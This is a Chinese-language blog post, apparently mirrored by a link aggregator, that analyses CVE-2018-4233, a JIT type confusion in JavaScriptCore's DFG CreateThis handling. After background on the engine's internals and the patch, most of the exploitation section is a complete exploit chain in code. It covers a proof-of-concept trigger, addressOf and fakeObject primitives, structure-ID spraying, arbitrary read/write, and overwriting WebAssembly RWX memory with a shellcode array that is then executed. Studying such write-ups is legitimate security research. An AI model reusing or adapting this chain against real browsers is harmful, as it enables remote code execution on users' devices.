4

Pwn2Own 2018 CVE-2018-4233 分析

 3 years ago
source link: https://www.anquanke.com/post/id/244472
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
robots

0x00 前言

JavaScriptCore是Apple的WebKit浏览器内核中的JS引擎,最近学习JavaScriptCore引擎的漏洞利用,在此以CVE-2018-4233为例来学习JavaScriptCore引擎的漏洞利用一般思路

0x01 前置知识

JSC引擎执行流程

JSC引擎执行JS代码的流程如下

Lexer:词法分析,提取单词
Parser:语法分析,生成语法树,并从语法树中构建ByteCode
LLInt:Low Level Interpreter执行Parser生成的ByteCode,其代码位于源码树中的llint/文件夹
Baseline JIT: 在函数调用了 6 次,或者某段代码循环了大于100次会触发该引擎进行JIT编译,其编译后的代码仍然为中间码,而不是汇编代码。其代码位于源码树中的jit/文件夹
DFG JIT: 在函数被调用了60次或者代码循环了1000次会触发。DFG是基于控制流图分析的优化器,将低效字节码进行优化并转为机器码。它利用LLInt和Baseline JIT阶段收集的一些信息来优化字节码,消除一些类型检查等。其代码位于源码树中的dfg/文件夹
FTL: Faster Than Light,更高度的优化,在函数被调用了上千次或者代码循环了数万次会触发。通过一些更加细致的优化算法,将DFG IR进一步优化转为 FTL 里用到的 B3 的 IR,然后生成机器码

可以知道,Baseline JIT->DFG JIT->FTL每一个过程都进行了更加深入的优化,优化一般就是通过类型收集和判断,消除一些不必要的类型检查,并生成机器码,从而可以节省运行时间。由于js是动态类型语言,当类型优化推断错误时,便可以返回上一级,比如DFG JIT优化错误,则返回Baseline JIT运行同时重新进行类型收集以便下一次优化。这个执行过程的转移使用的方法是堆栈替换 on-stack replacement,简称 OSR。这个技术可以将执行转移到任何 statement 的地方。

clobberWorld

在DFG的遍历优化中,会进行类型收集,如果要之前推断的类型不正确,则调用clobberWorld函数放弃之前推断信息,如果不调用该函数,那么前面的类型信息继续保留。

JSC断点调试

与V8不同的是,JSC没有提供用于断点调试的js函数,一种简便的方法是在printInternal函数上进行断点

b *printInternal

然后在js代码中调用print,即可断下。如果我们要打印信息,利用debug函数来打印,因为print已经被我们拿去断点用了。另一种方法是我们自己在Source/JavaScriptCore/jsc.cpp源码中增加一个dbg函数,并在函数中实现int3指令,然后就能在js中调用。

JSC对象内存模型

首先使用这段代码进行调试,其中describe函数是用来打印对象结构的,debug是用于输出文字的,print用于断点

var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
debug(describe(a));
print();
--> Object: 0x7fffaf8ac000 with butterfly (nil) (Structure 0x7fffaf870460:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 297

使用gdb打印对象地址处的内容

pwndbg> x /20gx 0x7fffaf8ac000
0x7fffaf8ac000:    0x0100150000000129    0x0000000000000000
0x7fffaf8ac010:    0x0000000000000000    0xffff000000000001
0x7fffaf8ac020:    0xffff000000000002    0x400299999999999a
0x7fffaf8ac030:    0x00007fffaf8b0100    0xffff000000000003
0x7fffaf8ac040:    0xffff000000000004    0xffff000000000005
0x7fffaf8ac050:    0xffff000000000006    0xffff000000000007
0x7fffaf8ac060:    0xffff000000000008    0xffff000000000009
0x7fffaf8ac070:    0xffff00000000000a    0x0000000000000000
0x7fffaf8ac080:    0x0000000000000000    0x0000000000000000
0x7fffaf8ac090:    0x0000000000000000    0x0000000000000000

可以看到,我们的数据都依次按照顺序存入了对象的内存中,并且可以发现不同类型之间的存储,其最前面有一些标志数据,总结起来如下:

Pointer: [0000][xxxx:xxxx:xxxx](前两个字节为0,后六个字节寻址)
Double: [0001~FFFE][xxxx:xxxx:xxxx]
Integer: [FFFF][0000:xxxx:xxxx](只有低四个字节表示数字)
False: [0000:0000:0000:0006]
True: [0000:0000:0000:0007]
Undefined: [0000:0000:0000:000a]
Null: [0000:0000:0000:0002]

可以发现,对于对象类型,由于标记为0,所以直接存储着的就是指针,而Double和Integer最前面都加了标记。
现在我们将代码修改一下并测试

var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;

debug(describe(a));
print();
--> Object: 0x7fffaf8ac000 with butterfly 0x7ff0000fe5a8 (Structure 0x7fffaf870700:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 303

可以看到butterfly已经不是null了,我们查看一下对象内存

pwndbg> x /30gx 0x7fffaf8ac000
0x7fffaf8ac000:    0x010015040000012f    0x00007ff0000fe5a8
0x7fffaf8ac010:    0x0000000000000003    0xffff000000000001
0x7fffaf8ac020:    0xffff000000000002    0x400299999999999a
0x7fffaf8ac030:    0x00007fffaf8b0100    0xffff000000000003
0x7fffaf8ac040:    0xffff000000000004    0xffff000000000005
0x7fffaf8ac050:    0xffff000000000006    0xffff000000000007
0x7fffaf8ac060:    0xffff000000000008    0xffff000000000009
0x7fffaf8ac070:    0xffff00000000000a    0xffff00000000000b
0x7fffaf8ac080:    0xffff00000000000c    0xffff00000000000d
0x7fffaf8ac090:    0xffff00000000000e    0xffff00000000000f

pwndbg> x /20gx 0x00007ff0000fe5a8
0x7ff0000fe5a8:    0xffff000000000010    0xffff000000000011
0x7ff0000fe5b8:    0x0000000000000000    0x00000000badbeef0

可以看到,butterfly里存储着数组的元素,而其他属性则仍然存储于对象中,我们称这些为内联属性,因为其存储于对象内部。现在测试代码再修改一下

var obj = {};
var a = {a:1,b:2,c:2.2,d:obj,e:3,f:4,g:5,h:6,i:7,j:8,k:9,l:10};
a.m = 11;
a.n = 12;
a.o = 13;
a.p = 14;
a.q = 15;
a[0] = 16;
a[1] = 17;
a['r'] = 18;
debug(describe(a));
print();
--> Object: 0x7fffaf8ac000 with butterfly 0x7fec000f8468 (Structure 0x7fffaf870770:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10, l:11, m:12, n:13, o:14, p:15, q:16, r:100}, NonArrayWithInt32, Proto:0x7fffaf8c8020, Leaf]), StructureID: 304
pwndbg> x /20gx 0x7fec000f8468-0x10
0x7fec000f8458:    0xffff000000000012    0x0000000300000002
0x7fec000f8468:    0xffff000000000010    0xffff000000000011

可以知道a['r'] = 18;这句代码,18存储于butterfly上方,由于其是数组的操作方式,因此其不再归为内联属性,同时我们还注意到butterfly-0x8处的数据0x0000000300000002,这代表数组的大小和容量。
总结出JSC的对象结构如下:

其中JSCell是一个结构体,其中有StructureID等成员,在源码目录中的Tools/gdb/webkit.py文件是用于gdb调试的脚本插件,我们导入gdb,然后进行调试查看。

pwndbg> p *(JSC::JSCell *)0x7fffaf8b42d0
$2 = {
  <JSC::HeapCell> = {<No data fields>}, 
  members of JSC::JSCell: 
  static StructureFlags = 0, 
  static needsDestruction = false, 
  static TypedArrayStorageType = JSC::NotTypedArray, 
  m_structureID = 284, 
  m_indexingTypeAndMisc = 0 '\000', 
  m_type = JSC::FinalObjectType, 
  m_flags = 0 '\000', 
  m_cellState = JSC::CellState::DefinitelyWhite
}

其中JSCell的作用类似于V8中的Map,用于表示对象类型,与V8不同的是,类型的关键在于JSCell使用StructureID来区分类型,StructureID是一个类似于index下标的作用,真正的Structure指针存储在一个StructureTable中,判断对象的时候通过index从StructureTable取出Structure的地址,进而访问StructureStructure表明了对象的原型,对象结构相同则具有相同的StructureID

JSC::StructureIDTable::get(JSC::StructureID)

使用如下代码测试

var a = {x:1,y:2};
var b = {x:3,y:4};
var c = {a:5,b:6};
debug(describe(a));
debug(describe(b));
debug(describe(c));
print();
--> Object: 0x7fffaf8b42d0 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4300 with butterfly (nil) (Structure 0x7fffaf8a7d40:[Object, {x:0, y:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 284
--> Object: 0x7fffaf8b4330 with butterfly (nil) (Structure 0x7fffaf8a7e20:[Object, {a:0, b:1}, NonArray, Proto:0x7fffaf8c8020, Leaf]), StructureID: 286

可以看到a和b具有相同的StructureIDStructure

从上述可以知道,JSCell就是一串数值,包含着StructureID,而不是指针,并且在一些版本中,StructureID不是随机的,而是按照不同对象创建的顺序递增,因此我们想要伪造数组对象的话,可以先申请N个数组对象,然后稍微添加一个不同的属性,则它们的StructureID不同,然后我们猜测一个StructureID,只要确保其很大概率落在已有的这些StructureID之中即可。

查看优化的数据

与V8中的--trace-turbo类似的,JSC中提供了-p选项用于输出profiling data,里面包含一些优化时的数据、字节码等。profiling data格式为json,JSC没有提供像V8那样的可视化工具用于查看流图,我们就只能看看JSON数据。

0x02 漏洞分析利用

patch分析

index e7f1585..fc1a7c5 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
+++ b/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2013-2017 Apple Inc. All rights reserved.
+ * Copyright (C) 2013-2018 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -2274,6 +2274,7 @@ bool AbstractInterpreter<AbstractStateType>::executeEffects(unsigned clobberLimi
                 }
             }
         }
+        clobberWorld(node->origin.semantic, clobberLimit);
         forNode(node).setType(m_graph, SpecFinalObject);
         break;
     }

该patch修复了漏洞,patch位于文件Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h中的executeEffects函数,从文件路径可以知道,这个漏洞与DFG JIT有关,executeEffects是当DFG JIT做优化时处理side Effects时用的,与v8一个道理,side Effects即一些潜在的侧链影响,通俗来讲就是判断某个操作是否会影响类型变化,如果会影响,放弃之前的类型推断,如果不影响,继续使用之前的类型。patch位于函数中switch的case CreateThis:分支,主要就是遍历字节码,遇到CreateThis时,调用clobberWorld函数放弃前面的类型推断。那么这也就是说,原来的漏洞点在于CreateThis是存在会影响对象类型的,但是DFG JIT没有判断出来,这就导致类型混淆。

POC构造

首先,要得到create_this字节码,使用的是this

function foo() {
   this.x = 1;
}

var b = new foo();
print(b.x);

得到的字节码如下

[   0] enter             
[   1] get_scope         loc3
[   3] mov               loc4, loc3
[   6] check_traps       
[   7] mov               loc5, this
[  10] create_this       this, this, 1, 0
[  15] put_by_id         this, x(@id0), Int32: 1(const0), Bottom
[  24] ret               this

可以看到,通过put_by_id字节码指令将1存入x属性中。现在我们将测试代码稍作修改

function foo(arg) {
   this.x = arg[0];
}

var b = new foo([1.1]);

print(b.x);

字节码如下

[   0] enter             
[   1] get_scope         loc3
[   3] mov               loc4, loc3
[   6] check_traps       
[   7] mov               loc5, this
[  10] create_this       this, this, 1, 0
[  15] mov               loc6, this
[  18] get_by_val        loc7, arg1, Int32: 0(const0)    Original; predicting None
[  24] put_by_id         loc6, x(@id0), loc7, Bottom
[  33] ret               this

通过get_by_val字节码指令从数组中取出元素0,然后通过put_by_id存入属性x中。
现在加入触发DFG JIT优化的代码,再做测试,发现前期Parse以后的字节码是一样的,不同点在于这次存在了DFG JIT时的字节码展开,其中[ 10] create_this this, this, 1, 0和[ 18] get_by_val loc7, arg1, Int32: 0(const0) Original; predicting None被展开如下

[10]
CountExecution
CheckCell
NewObject
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep

可以知道,CreateThis被优化为了CheckCell和NewObject,并且在这种情况下参数arg的类型不可能发生变化,因此在[ 0] enter使用了CheckStructure检查一次参数就可以了,这里无需再重复检查。现在,我们尝试为foo函数增加一个Proxy代理,这样,使用foo_proxy对象对foo进行间接访问时,会被代理拦截,并进入handlerget函数中处理。

function foo(arg) {
   this.x = arg[0];
}

let handler = {
   get(target, prop) {
      print(prop);
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);
print(foo_proxy.a);
root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
a

因为我们通过foo_proxy.a间接的访问了foo.a属性,所以被拦截了。那我们使用new foo_proxy()会发生什么呢?

function foo(arg) {
   this.x = arg[0];
}

let handler = {
   get(target, prop) {
      print(prop);
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);
print(new foo_proxy([1.1]));
root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
prototype

因为在创建一个对象的时候,是需要用到函数的prototype这个属性的,它是函数的原型,也是foo的一个自带属性,因此在创建对象时也可以被成功拦截。我们尝试加入DFG JIT优化,并查看字节码

function foo(arg) {
   this.x = arg[0];
}

let handler = {
   get(target, prop) {
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);

var b;
for (var i=0;i<0x2000;i++) {
   b = new foo_proxy([1.1]);
}

print(b.x);

ByteCode仍然一样,不一样的是DFG JIT的Code

[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep

可以看到,由于我们加入了代理,现在CreateThis不能再被内联优化,其中CreateThis的汇编调用代码如下

          0x7fffb010016e: mov $0x7fffaff0b4a8, %r11
          0x7fffb0100178: mov (%r11), %r11
          0x7fffb010017b: test %r11, %r11
          0x7fffb010017e: jz 0x7fffb010018b
          0x7fffb0100184: mov $0x113, %r11d
          0x7fffb010018a: int3 
          0x7fffb010018b: cmp $0x17, 0x5(%rsi)
          0x7fffb010018f: jnz 0x7fffb0100565
          0x7fffb0100195: mov 0x28(%rsi), %r8
          0x7fffb0100199: test %r8, %r8
          0x7fffb010019c: jz 0x7fffb0100565
          ............................

可以知道其主要是跳转到了0x7fffb0100565这个地址处,继续跟踪,该地址处的代码

          0x7fffb0100565: mov %rax, -0x30(%rbp)
          0x7fffb0100569: mov %rsi, -0x38(%rbp)
          0x7fffb010056d: mov %rbp, %rdi
          0x7fffb0100570: mov $0x1, %edx
          0x7fffb0100575: mov $0x7fffaff09898, %r11
          0x7fffb010057f: mov $0xbadbeef, (%r11)
          0x7fffb0100586: mov $0x7fffaff0989c, %r11
          0x7fffb0100590: mov $0xbadbeef, (%r11)
          0x7fffb0100597: mov $0x6, 0x24(%rbp)
          0x7fffb010059e: mov $0x7ffff6113791, %r11
          0x7fffb01005a8: call *%r11

通过调试,可以知道这里调用的函数是operationCreateThis这个函数,其源码位于文件Source/JavaScriptCore/dfg/DFGOperations.cpp

JSC_DEFINE_JIT_OPERATION(operationCreateThis, JSCell*, (JSGlobalObject* globalObject, JSObject* constructor, uint32_t inlineCapacity))
{
    VM& vm = globalObject->vm();
    CallFrame* callFrame = DECLARE_CALL_FRAME(vm);
    JITOperationPrologueCallFrameTracer tracer(vm, callFrame);
    auto scope = DECLARE_THROW_SCOPE(vm);
    if (constructor->type() == JSFunctionType && jsCast<JSFunction*>(constructor)->canUseAllocationProfile()) {
        DeferTermination deferScope(vm);
        auto rareData = jsCast<JSFunction*>(constructor)->ensureRareDataAndAllocationProfile(globalObject, inlineCapacity);
        scope.releaseAssertNoException();
        ObjectAllocationProfileWithPrototype* allocationProfile = rareData->objectAllocationProfile();
        Structure* structure = allocationProfile->structure();
        JSObject* result = constructEmptyObject(vm, structure);
        if (structure->hasPolyProto()) {
            JSObject* prototype = allocationProfile->prototype();
            ASSERT(prototype == jsCast<JSFunction*>(constructor)->prototypeForConstruction(vm, globalObject));
            result->putDirect(vm, knownPolyProtoOffset, prototype);
            prototype->didBecomePrototype();
            ASSERT_WITH_MESSAGE(!hasIndexedProperties(result->indexingType()), "We rely on JSFinalObject not starting out with an indexing type otherwise we would potentially need to convert to slow put storage");
        }
        return result;
    }

    JSValue proto = constructor->get(globalObject, vm.propertyNames->prototype);
    RETURN_IF_EXCEPTION(scope, nullptr);
    if (proto.isObject())
        return constructEmptyObject(globalObject, asObject(proto));
    JSGlobalObject* functionGlobalObject = getFunctionRealm(globalObject, constructor);
    RETURN_IF_EXCEPTION(scope, nullptr);
    return constructEmptyObject(functionGlobalObject);
}

其中的操作SValue proto = constructor->get(globalObject, vm.propertyNames->prototype);会被我们JS层中的代理拦截,由此可以知道,operationCreateThis会回调JS层的代理函数。此时我们想到,在JS中的Proxy对象的handler中,我们可以操纵任意的对象,我们可以将参数arg的类型修改掉。于是这样构造

function foo(arg) {
   this.x = arg[0];
}

var trigger = false;
var arr = [1.1,2.2];

let handler = {
   get(target, prop) {
      if (trigger) {
         arr[0] = {};
      }
      return target[prop];
   }
};

let foo_proxy = new Proxy(foo, handler);

var b;
for (var i=0;i<0x2000;i++) {
   b = new foo_proxy(arr);
}

trigger = true;
b = new foo_proxy(arr);
print(b.x);

这样,当CreateThis回调了handler中的get函数时,arr[0] = {}将arr的类型改为了对象数组类型,不再是unboxed double,但是CreateThis回调结束以后,并没有重新对arg进行类型检查,仍然将其当做unboxed double类型,由此造成了类型混淆。
运行结果如下,成功输出对象的地址

root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
6.9532879215489e-310

修复漏洞以后的版本,其DFG JIT的字节码展开如下

[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
CheckStructure
GetButterfly
GetByVal
MovHint
ValueRep

可以看到,其在CreateThis后面增加了一个CheckStructure,从而避免了类型混淆。

fakeObj和addressOf原语构造

通过上述分析,我们很容易构造出两个原语

function addressOf(obj) {
   function foo(arg) {
      this.x = arg[0];
   }
   var handler = {
      get(target,prop) {
         if (trigger) {
            arr[0] = obj;
         }
         return target[prop];
      }
   };
   var foo_proxy = new Proxy(foo,handler);
   var arr = [1.1,2.2,3.3];
   var trigger = false;
   for (var i = 0; i < 0x2000; i++) {
      new foo_proxy(arr);
   }
   trigger = true;
   var ret = new foo_proxy(arr);
   return u64f(ret.x);
}

function fakeObject(addr_l,addr_h) {
   var addr = p64f(addr_l,addr_h);
   function foo(arr) {
      arr[0] = addr;
   }
   var handler = {
      get(target,prop) {
         if (trigger) {
            arr[0] = {};
         }
         return target[prop];
      }
   };
   var foo_proxy = new Proxy(foo,handler);
   var arr = [1.1,2.2,3.3];
   var trigger = false;
   for (var i = 0;i < 0x2000; i++) {
      new foo_proxy(arr);
   }
   trigger = true;
   new foo_proxy(arr);
   return arr[0];
}

堆喷StructureID

为了伪造一个数组对象,首先得拿到数组对象的StructureID,由于其是一串数字,并且对数组对象增加不同的属性即可使得StructureID不同,依次递增,因此,我们申请一些列不同原型的数组对象,然后随便猜测一个StructureID

//制造N个对象,每个对象产生不一样的Structures,使得我们可以猜测一个可用的StructuresID
var structs = [];
function sprayStructures() {
   var fake_elements_header = p64f(0,0);
   for (var i = 0; i < 1000; i++) {
      var a = {x:1,y:2};
      for (var j=0;j<0xffff;j++)
         a[j] = 23.33;
      a['x' + i] = fake_elements_header;
      a.prop = 1.1;
      structs.push(a);
   }
}
sprayStructures();

伪造数组对象

var victim = structs[0x300];

var jscell_double = p64f(0x00000200,0x01082007);

//对象的内存地址必须对齐,因此我们增加一个padding
var container = {
   padding:1.1,
   jscell:jscell_double,
   butterfly:victim,
   butterflyIndexingMask:p64f(0x11111111,0x0)
}

var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x20,container_addr[1]);

这里,我们将butterfly直接指向了victim,由于是对象,因此存储的是指针,所以通过hax,我们可以控制victim对象的整个结构,victim同样也是一个数组,我们这样做的目的是避免多次通过fakeObjectaddressOf来伪造对象,因为这比较耗时并且可能影响内存布局,我们只需第一次伪造一个对象能够控制已有的对象,后面就可以方便操作,同样我们利用has和victim重新构造一个快速的NewAddressOfNewFakeObject

// ArrayWithDouble
//var unboxed = [6.66,6.66,6.66];
var unboxed = structs[0x301];
var a = {x:1,y:2};
//for (var j=0;j<0xffff;j++)
   //a[j] = 23.33;
a['x0'] = p64f(0,0);
// ArrayWithContiguous
var boxed = {x:1,y:2};
boxed[0] = {};

//让boxed和unboxed的Butterfly为同一地址
var d = addressOf(unboxed);
hax[1] = p64f(d[0],d[1]);
var sharedButterfly = victim[1];
d = addressOf(boxed);
hax[1] = p64f(d[0],d[1]);
victim[1] = sharedButterfly;

debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));

function NewAddressOf(obj) {
   boxed[0] = obj;
   return u64f(unboxed[0]);
}

function NewFakeObject(addr_l,addr_h) {
   var addr = p64f(addr_l,addr_h);
   unboxed[0] = addr;
   return boxed[0];
}

构造read64和write64原语

function read64(addr_l,addr_h,index = 0) {
   //必须保证在vicim[-1]处有数据,即used slots和max slots字段,否则将导致读取失败
   //因此我们换用另一种方法,即利用property去访问
   hax[1] = p64f(addr_l + 0x10,addr_h);
   return NewAddressOf(victim.prop);
}

function write64(addr_l,addr_h,double_val) {
   hax[1] = p64f(addr_l + 0x10,addr_h);
   victim.prop = double_val;
}

这里,我们不使用数组的方式去实现任意地址读写,因为数组的方式需要保证used slots和max slots字段满足要求,任意地址处不可能一直满足这个要求,因此我们使用外属性的方式,前面介绍过,这种外部属性就存储于butterfly前面,使用read的时候,最后需要加上NewAddressOf进行转换,因为属性的存储是按照前面介绍的这个

Pointer: [0000][xxxx:xxxx:xxxx](前两个字节为0,后六个字节寻址)
Double: [0001~FFFE][xxxx:xxxx:xxxx]
Integer: [FFFF][0000:xxxx:xxxx](只有低四个字节表示数字)
False: [0000:0000:0000:0006]
True: [0000:0000:0000:0007]
Undefined: [0000:0000:0000:000a]
Null: [0000:0000:0000:0002]

方式存储的,显然我们读取的数据不满足这个要求,直接使用victim.prop返回的值会导致崩溃,当我们需要读取的数据是一些地址的时候,由于地址往往就48位,因此其高2字节为0,此时这个数据会被当成一个对象地址,因此为了拿到这个值,需要加上一层NewAddressOf,同理,在write64的时候如果写入的数据高2字节为0,需要加上一层NewFakeObject,由于我们写入的是double,就不需要,但是double数据会导致第7个字节的低4位为1,因此,我们不能一次性写入8个字节的完好数据,但是我们可以保证低4字节的数据被正确写入到目标处,因此,我们只需将数据拆分为4字节一组,然后包装为8字节的double,即可依次将数据完整的写入。

劫持WASM,写shellcode

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var funcObj_addr = addressOf(func);
var codeAddr = read64(funcObj_addr[0] + 0x48,funcObj_addr[1],1);
var rwx_addr = read64(codeAddr[0],codeAddr[1],1);

debug("funcObj_addr=" + funcObj_addr[1].toString(16) + funcObj_addr[0].toString(16));
debug("codeAddr=" + codeAddr[1].toString(16) + codeAddr[0].toString(16));
debug("rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));

//替换jit的shellcode
for (var i=0;i<shellcode.length;i++) {
   write64(rwx_addr[0] + i*4,rwx_addr[1],p64f(shellcode[i],0));
}

//执行shellcode
func();

0x03 感想

JSC的漏洞利用本质上与V8的漏洞利用相似,分析方法也类似,这些JS引擎的漏洞挖掘方法大多有着共同点。通过本次复现,又收获了许多新知识。

0x04 参考

FireShell2020——从一道ctf题入门jsc利用
Webkit Exploitation Tutorial
wiki JavaScriptCore
【编译原理】中间代码(一)
深入剖析 JavaScriptCore
Attacking Client-Side JIT Compilers (v2) Samuel Groß (@5aelo)
JavaScriptCore内部原理(一):从JS源码到字节码的追踪
WebKit commitdiff


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK